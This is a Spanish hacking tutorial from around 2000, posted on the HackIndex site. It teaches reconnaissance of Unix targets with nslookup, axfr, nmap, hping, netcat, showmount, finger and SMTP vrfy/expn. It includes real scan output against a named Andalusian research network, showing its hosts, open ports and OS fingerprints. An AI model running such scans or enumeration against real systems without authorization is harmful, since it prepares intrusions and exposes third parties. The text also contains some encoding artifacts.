		<category><![CDATA[George Kutz]]></category>
		<category><![CDATA[hackeando]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hacking exposed]]></category>
		<category><![CDATA[host]]></category>
		<category><![CDATA[hping]]></category>
		<category><![CDATA[icmp]]></category>
		<category><![CDATA[lecter]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[netcat]]></category>
		<category><![CDATA[nfs]]></category>
		<category><![CDATA[nis]]></category>
		<category><![CDATA[nmap]]></category>
		<category><![CDATA[nslookup]]></category>
		<category><![CDATA[ping]]></category>
		<category><![CDATA[queso]]></category>
		<category><![CDATA[rpc]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[scanner]]></category>
		<category><![CDATA[showmount]]></category>
		<category><![CDATA[Stuart McClure]]></category>
		<category><![CDATA[traceroute]]></category>
		<category><![CDATA[transferencia de zona]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[whois]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=204</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: Curso práctico de hacking II Autor: Lecter Tema: Acceso a las cosas remotas La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y de [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: Curso práctico de hacking II<br />
Autor: Lecter<br />
Tema: Acceso a las cosas remotas</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>CURSO PRACTICO DE HACKING&#8211;2a entrega</p>
<p>Queridos compañeros (exploradores y novatos con ganas de aprender):</p>
<p>Como os  prometi aqui teneis el  segundo capitulo del  CPH, que espero<br />
que  pueda serviros  a abrir  la  brecha del  estudio autodidacta  con<br />
algunos  consejillos y  notas.  Antes de  comenzar  con este  capitulo<br />
quiero recalcar que el objetivo de este &#8220;seminario&#8221; de hacking intenta<br />
ilustrar los modos de conseguir introducirnos en una maquina unix cuya<br />
seguridad ha sido comprometida,  generalmente por una mala gestion del<br />
administrador,  que muchas  veces pasa  olimpicamente del  sistema que<br />
debe cuidar  como Cancerbero.  En ningun caso  he querido  arrastrar a<br />
nadie  al empleo de  este conocimiento  para oscuros  propositos, sino<br />
para impulsar  a los estudiantes novatos  a llevar los  sistemas a sus<br />
ultimas  posibilidades  y  no  como  meros  usuarios  finales.Asi  que<br />
=A1abstenerse los lamers!</p>
<p>En este sentido, ha salido este  mes en la revista @rroba un excelente<br />
articulo de  Carlos Sanchez Almeida  titulado &#8220;Hackers de  plastico&#8221; y<br />
aunque corto  merece la pena que lo  leais. Al igual que  a finales de<br />
los setenta se  acuñaba el termino &#8220;punkies de  plastico&#8221; para señalar<br />
que debajo de la mascarada de tachuelas y cuero, aquellos punkies eran<br />
tan burgueses como sus papis, los hackers de plastico son aquellos que<br />
se  han erigido  como arquetipo  de la  revolucion moderna:  el hacker<br />
televisivo, cruce de Neo y el  padre Apeles. Pero ya sabeis: con lo de<br />
hacker  ocurre  lo   mismo  que  con  quienes  se   dicen  rosacruz  o<br />
sufi&#8230;Ciertamente no lo son. Un  hacker de verdad &#8220;jamas se colocaria<br />
un piercing para aparentar: lo  unico que agujerean es el sistema&#8221;. El<br />
hacking es un camino duro y dificil, &#8220;que implica muchas renuncias. La<br />
primera y  la mas  importante es la  que diferencia  verdaderamente al<br />
hacker del lamer: la renuncia al ego&#8230;&#8221;</p>
<p>Y  ahora vamos  con nuestro  asunto. Antes  de entrar  de lleno  en el<br />
capitulo 2 quiero aclarar algo  a los estudiantes del primer capitulo:<br />
Las  utilidades whois, traceroute,  host, ping  y nslookup  las debeis<br />
tener  en cualquier  sistema linux  que  monteis. Las  podeis usar  en<br />
consola  o en un  xterm. Algunas  como traceroute  hay que  usarlas en<br />
ciertas distros linux como root, pero en otras no. Evidentemente antes<br />
habreis de conectaros <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  y si  sois novatillos el paquete kppp de KDE<br />
se parece  muchisimo al procedimiento  de conexion telefonica  a redes<br />
del Windoze. Una  vez conectados podeis abrir xterms  en el escritorio<br />
KDE o pasaros  con Alt-Ctrl-Fx a una consola  (Volvereis al escritorio<br />
con  Alt-Ctrl-F7).  Otras  utilidades   teneis  que  buscarlas  en  la<br />
red.  Para ello  basta con  <a href="http://www.altavista.com">www.altavista.com</a> y  <a href="http://www.alltheweb.com">www.alltheweb.com</a> que<br />
contiene un buscador FAST FTP y  WEB y una dosis minima de ingenio. De<br />
todos modos os dire donde podeis descargar las herramientas:</p>
<p>-fping en <a href="http://www.stanford.edu/~schemers/docs/fping/fping.html">www.stanford.edu/~schemers/docs/fping/fping.html</a><br />
-nmap en <a href="http://www.insecure.org/nmap/">www.insecure.org/nmap/</a><br />
-netcat en <a href="http://www.l0pht.com/~weld/netcat/">www.l0pht.com/~weld/netcat/</a><br />
-queso en <a href="ftp://ftp.connect.net/pub/security/trinux/netmap/">ftp.connect.net/pub/security/trinux/netmap/</a></p>
<p>Espero que continueis en la brecha</p>
<p>Saludos,</p>
<p>LECTER</p>
<p>CPH. CAPITULO 2. EXTRACCION DE INFORMACION CRITICA DEL OBJETIVO</p>
<p>En este  capitulo nos vamos a  centrar en la  obtencion de informacion<br />
critica  que  luego  podra  ser  explotada para  introducirnos  en  el<br />
sistema. La informacion critica se basa siempre en algun compromiso en<br />
la  seguridad  de  un  servicio,  un  bug  (fallo)  de  algun  comando<br />
relacionado con los servicios, etc. Para este capitulo me he basado en<br />
un   libro  muy   util   que  acaba   de   salir  al   mercado:Hacking<br />
exposed;network  security secrets  and solutions,  de  Stuart McClure,<br />
George Kutz y otro mas (ya esta en español).</p>
<p>1)Informacion  critica obtenida  mediante &#8220;transferencia  de  zona&#8221; de<br />
servidores DNS  mal configurados.   Algunas veces nos  encontramos con<br />
servidores  DNS   configurados  de   manera  insegura  y   que  pueden<br />
permitirnos entrar  en la  llamada zona de  transferencia de  DNS, aun<br />
siendo  usuarios  de   internet  no  autorizados.  Podemos  intentarlo<br />
utilizando la instruccion nslookup en modo interactivo:</p>
<p>$&gt;nslookup</p>
<p>=2E..a continuacion aparecera el servidor  DNS por defecto que sera el<br />
de  nuestro ISP  u organizacion&#8230;pero  como queremos  consultar otro,<br />
X.X.X.X  (uno que corresponda  a nuestro  objetivo, como  obtuvimos al<br />
hacer whois transmeta.com) escribiremos</p>
<p>&gt;server X.X.X.X</p>
<p>a lo que respondera aceptandolo como &#8220;default&#8221;. A continuacion hacemos</p>
<p>&gt;set type=3Dany<br />
&gt;ls -d objetivo.net.&gt;&gt; fichero</p>
<p>Lo  que hemos hecho  es definir  el tipo  de registro  como cualquiera<br />
(any)   con    lo   que   podemos   recuperar    los   registros   DNS<br />
disponibles.  Luego  los  listamos  y  redirigimos  a  &#8220;fichero&#8221;  para<br />
consultarlo mas adelante.  Si ha habido suertecilla, cosa que dudo, al<br />
leer &#8220;fichero&#8221;, encontrariais  diversas entradas con varios registros,<br />
p.ej:</p>
<p>acct22   1D IN A       192.168.230.3<br />
         1D IN HINFO   &#8220;Gateway 2000&#8243; &#8220;Win WKGRPS&#8221;<br />
         1D IN MX      0 acmeadmin-smtp<br />
         &#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>El registro A indica la  direccion IP de esta cuenta, HINFO identifica<br />
la plataforma o  el sistema operativo y MX nos  dice donde se gestiona<br />
el correo.  Existen mas  registros, pero no  los voy a  comentar. Esta<br />
informacion es  muy valiosa  porque nos da  de golpe  conocimiento del<br />
sistema operativo y gestor de correo (aparte de mucho mas). Existe una<br />
utilidad algo  dificililla de encontrar  buscando a las bravas  por la<br />
red, que nos permite realizar transferencias de zona (cuando se puede)<br />
y transferir  de manera  recursiva informacion de  la zona  y archivos<br />
huespedes de cada uno de  los dominios consultados. Tal herramienta es<br />
&#8220;axfr&#8221;         que        la        podeis         encontrar        en<br />
ftp=2Econnectnet.com/pub/security/trinux/netmap/axfr-0.5.2.tar.gz. Una<br />
vez instalado, hacemos como root</p>
<p>#&gt;axfr objetivo.net<br />
y saldran algunos mensajes<br />
axfr: Using default directory /root/axfrdb<br />
Found X.X.X.X name server for domain &#8216;objetivo.net&#8217;<br />
text deleted<br />
Received xxxx answers</p>
<p>Ya esta. Para consultar la base de datos basta con que hagais</p>
<p>#&gt;axfrcat objetivo.net</p>
<p>Pero como ya he dicho, no sera tan tordo el administrador de dejar mal<br />
configurado el servidor DNS.</p>
<p>2. =BFProtege algun cortafuegos nuestro objetivo?</p>
<p>Vamos unicamente  a comprobar si existe algun  cortafuegos que proteja<br />
nuestro  objetivo.  La  manera   de  saltarse  el  cortafuegos  ya  la<br />
consideraremos  en   las  tecnicas  de  ataque,   pues  ahora  estamos<br />
extrayendo  informacion  critica  solamente.  Recordando  la  utilidad<br />
nmap, podemos  usarla para descubrir cortafuegos.  Cuando nmap explora<br />
un host, no solamente dice si los puertos estan abiertos, sino tambien<br />
si estan &#8220;filtrados&#8221;. Un puerto filtrado  en nmap indica que o bien no<br />
se  recibio ningun  paquete SYN/ACK  o RST/ACK  o bien  se  recibio un<br />
mensaje  ICMP  de destino  inalcanzable  con  codigo 13  (Cominicacion<br />
prohibida por  el administrador).  Otra utilidad interesante  es hping<br />
(<a href="http://www.kyuzz.org/antirez">www.kyuzz.org/antirez</a>). Una vez instalada, hacemos como root</p>
<p>#&gt;hping objetivo.com -S -p (n=BA de puerto)</p>
<p>De este modo se envian paquetes  TCP SYN al puerto destino y obtenemos<br />
informacion de los  paquetes que regresan. Si el  flag de respuesta es<br />
SA (SYN/ACK) quiere  decir que el puerto destino  esta abierto y listo<br />
para  recibir  conexion.  A   veces  nos  sale  como  respuesta  &#8220;ICMP<br />
unreachable type 13 from X.X.X.X&#8221; lo  que nos indica que X.X.X.X es el<br />
cortafuegos del objetivo.  No obstante si el resultado  de hping no da<br />
respuesta alguna puede ser que o bien el paquete se haya perdido en la<br />
red o  que el cortafuegos lo  detenga. Si obtenemos  una respuesta con<br />
flag  RA (RST/ACK)  puede ser  que  el cortafuegos  haya rechazado  el<br />
paquete o  puede que lo  haya dejado pasar  por el puerto pero  que el<br />
host objetivo no  esta escuchando. Vamos a intentar  ilustrarlo con un<br />
ejemplo.  Mi host  objetivo es  la pagina  web del  Centro Informatico<br />
Cientifico de  Andalucia, <a href="http://www.cica.es">www.cica.es</a>. Voy  antes que nada a  hacer un<br />
traceroute</p>
<p>$&gt;traceroute <a href="http://www.cica.es">www.cica.es</a><br />
<br />
 1  SEVI-X13.red.retevision.es (62.81.56.45)  134.694 ms  139.73 ms  139.866 ms<br />
 2  SEVI-R3.red.retevision.es (62.81.56.27)  139.931 ms  120.489 ms SEVI-R1.red.retevision.es (62.81.56.28)  129.317 ms<br />
 3  SEVI-R15.red.retevision.es (62.81.55.229)  139.938 ms  129.841 ms  119.956 ms<br />
 4  BARC-R16.red.retevision.es (62.81.125.3)  170.034 ms  149.872 ms  149=2E948 ms<br />
 5  ReteNAC.red.retevision.es (62.81.63.202)  139.926 ms  169.764 ms  159=2E934 ms<br />
 6  EspaNIX.red.retevision.es (62.81.8.146)  179.967 ms  179.872 ms  169.909 ms<br />
 7  ibernet.espanix.net (193.149.1.57)  170.042 ms  159.813 ms  149.953 ms<br />
 8  194.179.0.113 (194.179.0.113)  179.942 ms  159.778 ms  159.919 ms<br />
 9  A0-2-4.EB-Madrid00.red.rediris.es (130.206.224.77)  159.959 ms  199.853 ms  169.892 ms<br />
10  A1-0-1.EB-Sevilla1.red.rediris.es (130.206.224.10)  189.936 ms  189.926 ms  179.875 ms<br />
11  130.206.194.10 (130.206.194.10)  179.931 ms  169.96 ms  169.856 ms<br />
12  argantonio.cica.es (150.214.5.77)  189.97 ms *  180.02 ms</p>
<p> Muy  bien,   el  host  130.206.194.10  parece  ser   un  enrutador  o<br />
cortafuegos que dirige  el trafico a argantonio.cica.es (<a href="http://www.cica.es">www.cica.es</a>).<br />
Ahora voy a utilizar la  herramienta nmap para hacer una evaluacion de<br />
la  topologia  de  una  subred.  Voy  a  escanear  por  el  puerto  80<br />
silenciosamente todas las  maquinas de la subred C  a la que pertenece<br />
<a href="http://www.cica.es">www.cica.es</a>:</p>
<p>#&gt;nmap -sS -p80 <a href="http://www.cica.es">www.cica.es</a></p>
<p># Nmap (V. nmap) scan initiated 2.53 as: nmap -sS -p80 -o cica <a href="http://www.cica.es/24">www.cica.es/24</a><br />
The 1 scanned port on  (150.214.5.0) is: closed<br />
The 1 scanned port on  (150.214.5.1) is: closed<br />
Interesting ports on <a href="http://www.ceseand.cica.es">www.ceseand.cica.es</a> (150.214.5.2):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>Interesting ports on scsasnt.sas.cica.es (150.214.5.3):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>Interesting ports on prometeo.cica.es (150.214.5.4):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>Interesting ports on cdaea.cica.es (150.214.5.6):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>Interesting ports on caf.cica.es (150.214.5.7):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>Interesting ports on microbio.cica.es (150.214.5.8):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>Interesting ports on <a href="http://www.csalud.junta-andalucia.es">www.csalud.junta-andalucia.es</a> (150.214.5.9):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>Interesting ports on thales.cica.es (150.214.5.10):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>The 1 scanned port on mileto.cica.es (150.214.5.11) is: closed<br />
Interesting ports on <a href="http://www.tresculturas.org">www.tresculturas.org</a> (150.214.5.12):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>Interesting ports on cdma.cica.es (150.214.5.13):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>Host   (150.214.5.31) seems to be a subnet broadcast address (returned 1 extra pings).  Still scanning it due to positive ping response from its own IP.<br />
The 1 scanned port on  (150.214.5.31) is: closed<br />
Host   (150.214.5.48) seems to be a subnet broadcast address (returned 1 extra pings).  Skipping host.<br />
The 1 scanned port on osni.cica.es (150.214.5.49) is: closed<br />
The 1 scanned port on io.cica.es (150.214.5.50) is: closed<br />
The 1 scanned port on iat-gw.cica.es (150.214.5.51) is: closed<br />
Host   (150.214.5.55) seems to be a subnet broadcast address (returned 1 extra pings).  Still scanning it due to positive ping response from its own IP.<br />
The 1 scanned port on  (150.214.5.55) is: closed<br />
Host   (150.214.5.64) seems to be a subnet broadcast address (returned 1 extra pings).  Skipping host.<br />
The 1 scanned port on  (150.214.5.65) is: closed<br />
The 1 scanned port on winbdd.cica.es (150.214.5.66) is: closed<br />
The 1 scanned port on mercurio.cica.es (150.214.5.67) is: closed<br />
The 1 scanned port on winbdd2.cica.es (150.214.5.68) is: closed<br />
Interesting ports on orgiva.cica.es (150.214.5.69):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>The 1 scanned port on cache.cica.es (150.214.5.70) is: closed<br />
The 1 scanned port on ntp.cica.es (150.214.5.71) is: closed<br />
Interesting ports on patro.cica.es (150.214.5.72):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>The 1 scanned port on horacio.cica.es (150.214.5.73) is: closed<br />
Interesting ports on argantonio.cica.es (150.214.5.77):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>Interesting ports on ligustino.cica.es (150.214.5.78):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>Interesting ports on listas.cica.es (150.214.5.79):<br />
Port       State       Service<br />
80/tcp     open        http                   </p>
<p>The 1 scanned port on idefix.cica.es (150.214.5.85) is: closed<br />
The 1 scanned port on lejia-s.cica.es (150.214.5.126) is: closed<br />
Host   (150.214.5.127) seems to be a subnet broadcast address (returned 1 extra pings).  Still scanning it due to positive ping response from its own IP.<br />
The 1 scanned port on  (150.214.5.127) is: closed<br />
# Nmap run completed at Mon Aug  7 00:56:51 2000 &#8212; 256 IP addresses (33 hosts up) scanned in 31 seconds</p>
<p>Bueno, bueno&#8230;ahora si hago un traceroute a cada uno de los hosts que<br />
han  sido  escaneados,  obtengo  que  en  todos  los  casos,  el  host<br />
130.206.194.10 les apunta,  con lo cual podemos asegurar  que se trata<br />
de un router/firewall frontera.<br />
<br />
Voy a escanear <a href="http://www.cica.es">www.cica.es</a> con nmap pero a todos los puertos:</p>
<p># Nmap (V. nmap) scan initiated 2.53 as: nmap -vv -sS -O -P0  <a href="http://www.cica.es">www.cica.es</a><br />
Interesting ports on argantonio.cica.es (150.214.5.77):<br />
(The 1508 ports scanned but not shown below are in state: closed)<br />
Port       State       Service<br />
21/tcp     open        ftp                   <br />
22/tcp     open        ssh                   <br />
23/tcp     open        telnet                <br />
80/tcp     open        http                  <br />
119/tcp    filtered    nntp                  <br />
123/tcp    filtered    ntp                   <br />
389/tcp    open        ldap                  <br />
390/tcp    open        uis                   <br />
443/tcp    open        https                 <br />
512/tcp    open        exec                  <br />
513/tcp    open        login                 <br />
514/tcp    open        shell                 <br />
515/tcp    open        printer               <br />
3128/tcp   open        squid-http            <br />
8888/tcp   open        sun-answerbook         </p>
<p>TCP Sequence Prediction: Class=3Drandom positive increments<br />
                         Difficulty=3D88217 (Worthy challenge)</p>
<p>Sequence numbers: C71B5D1D C71EA319 C7205F3B C721CEFD C72706F0 C729B3AC<br />
Remote OS guesses: Solaris 2.6 &#8211; 2.7, Solaris 7<br />
OS Fingerprint:<br />
TSeq(Class=3DRI%gcd=3D1%SI=3D15899)<br />
T1(Resp=3DY%DF=3DY%W=3D2297%ACK=3DS++%Flags=3DAS%Ops=3DNNTNWME)<br />
T2(Resp=3DN)<br />
T3(Resp=3DN)<br />
T4(Resp=3DY%DF=3DY%W=3D0%ACK=3DO%Flags=3DR%Ops=3D)<br />
T5(Resp=3DY%DF=3DY%W=3D0%ACK=3DS++%Flags=3DAR%Ops=3D)<br />
T6(Resp=3DY%DF=3DY%W=3D0%ACK=3DO%Flags=3DR%Ops=3D)<br />
T7(Resp=3DY%DF=3DY%W=3D0%ACK=3DS%Flags=3DAR%Ops=3D)<br />
PU(Resp=3DY%DF=3DY%TOS=3D0%IPLEN=3D70%RIPTL=3D148%RID=3DE%RIPCK=3DE%UCK=3DE%ULEN=3D134%DAT=3DE)<br />
# Nmap run completed at Sun Aug  6 20:02:23 2000 &#8212; 1 IP address (1 host up) scanned in 34 seconds</p>
<p>Se  trata de un  Solaris 2.6-2.7  que tiene  filtrados los  puertos de<br />
usenet (119)  y network time protocol  (123). Luego a no  ser que este<br />
mismo  host  utilice un  filtro  de  paquetes,  sospecharemos que  son<br />
filtrados por  las reglas  del firewall/router que  le precedia  en la<br />
secuencia de traceroute.</p>
<p>Si barremos ahora los puertos del supuesto firewall:</p>
<p><br />
# Nmap (V. nmap) scan initiated 2.53 as: nmap -vv -sS -O -P0 -o cica 130.206.194.10<br />
Interesting ports on  (130.206.194.10):<br />
(The 1517 ports scanned but not shown below are in state: closed)<br />
Port       State       Service<br />
79/tcp     open        finger                <br />
119/tcp    filtered    nntp                  <br />
123/tcp    filtered    ntp                   <br />
1998/tcp   open        x25-svc-port          <br />
2001/tcp   open        dc                    <br />
6001/tcp   open        X11:1                  </p>
<p>TCP Sequence Prediction: Class=3Drandom positive increments<br />
                         Difficulty=3D38400 (Worthy challenge)</p>
<p>Sequence numbers: 2395ACF2 23A031DB 23AB5C89 23B4BE60 23BF584E 23C98A6A<br />
Remote OS guesses: AS5200, Cisco 2501/5260/5300 terminal server IOS 11.3.6(T1), Cisco IOS 11.3 &#8211; 12.0(9)<br />
OS Fingerprint:<br />
TSeq(Class=3DRI%gcd=3D1%SI=3D9600)<br />
T1(Resp=3DY%DF=3DN%W=3D1020%ACK=3DS++%Flags=3DAS%Ops=3DM)<br />
T2(Resp=3DY%DF=3DN%W=3D0%ACK=3DS%Flags=3DAR%Ops=3D)<br />
T3(Resp=3DY%DF=3DN%W=3D1020%ACK=3DS++%Flags=3DAS%Ops=3DM)<br />
T4(Resp=3DY%DF=3DN%W=3D0%ACK=3DO%Flags=3DR%Ops=3D)<br />
T5(Resp=3DY%DF=3DN%W=3D0%ACK=3DS++%Flags=3DAR%Ops=3D)<br />
T6(Resp=3DY%DF=3DN%W=3D0%ACK=3DO%Flags=3DR%Ops=3D)<br />
T7(Resp=3DY%DF=3DN%W=3D0%ACK=3DS%Flags=3DAR%Ops=3D)<br />
PU(Resp=3DN)<br />
# Nmap run completed at Sun Aug  6 19:40:12 2000 &#8212; 1 IP address (1 host up) scanned in 26 seconds</p>
<p>Vemos  que se  trata efectivamente  de  un Cisco  Terminal Router  IOS<br />
11.3-12.0 y que filtra tambien esos dos puertos.<br />
                                                                  <br />
Si hacemos un fping a <a href="http://www.cica.es">www.cica.es</a></p>
<p>#&gt;hping <a href="http://www.cica.es">www.cica.es</a> -S -p 80<br />
ppp0 default routing interface selected (according to /proc)<br />
HPING <a href="http://www.cica.es">www.cica.es</a> (ppp0 150.214.5.77): S set, 40 headers + 0 data bytes<br />
44 bytes from 150.214.5.77: flags=3DSA seq=3D0 ttl=3D243 id=3D4427 win=3D9112 rtt=3D188.4 ms<br />
44 bytes from 150.214.5.77: flags=3DSA seq=3D1 ttl=3D243 id=3D4428 win=3D9112 rtt=3D200.2 ms<br />
44 bytes from 150.214.5.77: flags=3DSA seq=3D2 ttl=3D243 id=3D4429 win=3D9112 rtt=3D210.2 ms<br />
44 bytes from 150.214.5.77: flags=3DSA seq=3D3 ttl=3D243 id=3D4430 win=3D9112 rtt=3D200.2 ms<br />
44 bytes from 150.214.5.77: flags=3DSA seq=3D4 ttl=3D243 id=3D4431 win=3D9112 rtt=3D190.2 ms<br />
44 bytes from 150.214.5.77: flags=3DSA seq=3D5 ttl=3D243 id=3D4432 win=3D9112 rtt=3D210.1 ms</p>
<p>Paramos con Ctrl-C</p>
<p>&#8212; <a href="http://www.cica.es">www.cica.es</a> hping statistic &#8212;<br />
6 packets tramitted, 6 packets received, 0% packet loss<br />
round-trip min/avg/max =3D 188.4/199.9/210.2 ms<br />
                                                      <br />
y  observamos  que   el  flag=3DSA  indica  que  el   puerto  80  esta<br />
efectivamente abierto. Pero si hacemos hping al puerto 119</p>
<p>#&gt;hping <a href="http://www.cica.es">www.cica.es</a> -S -p 119<br />
ppp0 default routing interface selected (according to /proc)<br />
HPING <a href="http://www.cica.es">www.cica.es</a> (ppp0 150.214.5.77): S set, 40 headers + 0 data bytes</p>
<p>&#8212; <a href="http://www.cica.es">www.cica.es</a> hping statistic &#8212;<br />
13 packets tramitted, 0 packets received, 100% packet loss<br />
round-trip min/avg/max =3D 0.0/0.0/0.0 ms         </p>
<p>Efectivamente, esta vez no  tenemos ninguna respuesta y debemos pensar<br />
que el cortafuegos/o enrutador (Cisco ultimate server) la detuvo. =BFO<br />
tal vez  el propio  host tenia filtro  de paquetes?. Si  utilizamos de<br />
nuevo nmap y escaneamos toda la subred en los puertos 119 y123:</p>
<p>#&gt;nmap -sS -p119,123 <a href="http://www.cica.es/24">www.cica.es/24</a></p>
<p>obtenemos en  todos los  casos que los  hosts tienen esos  dos puertos<br />
filtrados: Mucha casualidad va a  ser que cada host utilice un sistema<br />
de filtrado  en dichos puertos  <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Lo mas  aplastante es que  el host<br />
130.206.194.10  disponga unas  rglas  de firewall  que filtren  dichos<br />
puertos a todos los hosts a los que apunta.</p>
<p>De las  cuestiones acerca de los  tipos de cortafuegos  y las tecnicas<br />
para traspasarlos nos dedicaremos  en el capitulo destinado al ataque,<br />
como ya dije antes.</p>
<p>La  exploracion de  los puertos  de un  cortafuegos es  util,  pero la<br />
mayoria no  escuchan en puertos predeterminados.  La identificacion de<br />
algunos  cortafuegos  puede hacerse  si  tenemos  suerte  de modo  muy<br />
sencillo  leyendo ciertos  mensajes  de identificacion  que muchos  de<br />
ellos presentan. Con la  utilidad netcat podemos conectarnos al puerto<br />
21 del posible cortafuegos</p>
<p>#&gt;nc -v -n 192.168.51.129 21<br />
(UNKNOWN) [192.168.51.129] 21 (?) open<br />
220 Secure Gateway FTP server ready</p>
<p>#&gt;nc -v -n 192.168.51.129 23<br />
(UNKNOWN) [192.168.51.129] 23 (?) open<br />
Eagle Secure Gateway<br />
Hostname:<br />
3. Exportacion de archivos NFS</p>
<p>El Network File  System (NFS) es un sistema de  red que posibilita que<br />
un  host  servidor proporcione  sistemas  de  archivos y  dispositivos<br />
perifericos a  maquinas clientes. Si  el amigo administrador no  es un<br />
lumbrera o  pasa cantidad, puede  que no haya configurado  el servidor<br />
NFS adecuadamente&#8230;y  cualquier usuario remoto puede  tener acceso de<br />
lectura y escritura. Si mediante una exploracion previa se observa que<br />
el puerto 2049 (servidor nfs) de un host esta abierto, con la utilidad<br />
showmount -e podemos conseguir la  lista de exportacion de un servidor<br />
NFS. Si hacemos como root</p>
<p>#&gt;showmount -e objetivo.net<br />
y nos sale algo como<br />
RPC: Port mapper failure &#8211; RPC: Unable to receive<br />
pues nada, no ha habido suerte</p>
<p>pero si nos saliera</p>
<p>#&gt;showmount -e objetivo2.net<br />
export list for objetivo2.net<br />
/pub         (everyone)<br />
/home        (everyone)</p>
<p>ya  podiamos establecer una  via de  entrada con  ayuda de  los rlogin<br />
 <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> (ya lo veremos en el hacking).</p>
<p>4. Listado de usuarios y grupos</p>
<p>Parece  mentira,  pero  algunos  administradores emplean  la  utilidad<br />
finger  con m=EDnimas  medidas de  seguridad&#8230;y esto  permite obtener<br />
bastante  informacion  en muchos  casos  para  ingenieria social,  que<br />
aunque yo no  lo considero como una tecnica pura  de hacking, te puede<br />
resolver  el  problema  <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .   Supongamos  que el  host  objetivo  esta<br />
ejecutando el servicio fingerd (puerto 79). Si hacemos como root</p>
<p>#&gt;finger -l @host.objetivo<br />
[host.objetivo]<br />
login:root                         name:root<br />
Directory:/root                    Shell:/bin/bash<br />
On since Sun Mar 20: 10:15(PST) on tty1. 11 minutes idle<br />
(message off)<br />
On since Sun Mar 20: 10:15(PST) on ttyp0 from :0.0. 3 minute 15 seconds idle<br />
No mail<br />
Plan:<br />
Luke Skywalker<br />
Linux Guru<br />
Telnet password is Lord &#8230; (my father)</p>
<p>Peaso de info (pero, como las peliculas de los intocables, el parecido<br />
con la realidad es pura coincidencia) La informacion proporcionada por<br />
finger en principio deberia ser  inocua porque la extrae de los campos<br />
de  /etc/passwd. Lo  mas  peligroso es  que  indica el  nombre de  los<br />
usuarios conectados y sus  tiempos de inactividad. Moreover, cualquier<br />
usuario  que  tenga un  archivo  .plan  o  .project en  su  directorio<br />
particular, la presentara al  hacer finger un merodeador. Los comandos<br />
rwho y rusers muestran los usuarios conectados al host remoto, pero no<br />
dan  tanta informacion como  finger. Es  posible mediante  el servicio<br />
smtp  localizar  usuarios  con  los  mandatos  vrfy  (confirmacion  de<br />
usuarios validos)  y expn (direcciones  reales de entrega de  correo y<br />
alias):</p>
<p>$&gt;telnet 192.168.202.34 25<br />
=2E&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.<br />
220 mail.bigcorp.com ESMTP Sendmail 8.8.7<br />
vrfy root<br />
250 root &lt;<a href="mailto:root@bigcorp.com">root@bigcorp.com</a>&gt;<br />
expn adm<br />
250 adm &lt;<a href="mailto:adm@bigcorp.com">adm@bigcorp.com</a>&gt;</p>
<p>5. Aplicaciones RPC</p>
<p>Remote  Procedure  Call (RPC)tiene  que  ver  con interacciones  entre<br />
procesos=2E  El  concepto  de  RPC  es  una  sencilla  t=E9cnica  para<br />
desarrollar  aplicaciones donde  se requiere  la  comunicaci=F3n entre<br />
procesadores que cooperan en un sistema distribuido.</p>
<p>El  mecanismo  RPC proporciona  un  servicio  para  el programador  de<br />
apliciones  que le  permite el  uso transparente  de un  servidor para<br />
proporcionar  alguna actividad  por  parte de  la aplicaci=F3n.   Esto<br />
efectivamente  puede ser  utilizado para  interactuar con  un servidor<br />
computacional o  con una Base  de Datos, y  ha sido usado  por algunos<br />
sistemas para  proporcionar acceso a servicios  del sistema operativo.<br />
El ultimo  uso conocido es  en sistemas basados  en micro-ordenadores,<br />
que  da   un  mejor  resultado  que  en   los  sistemas  tradicionales<br />
encontrados en  la mayoria de sistemas  unix.  La orden  rpcinfo es el<br />
equivalente a finger en la enumeracion de aplicaciones RPC que estan a<br />
la escucha en hosts remotos en los puertos 111 (rpcbind) o 32771 (Sun)<br />
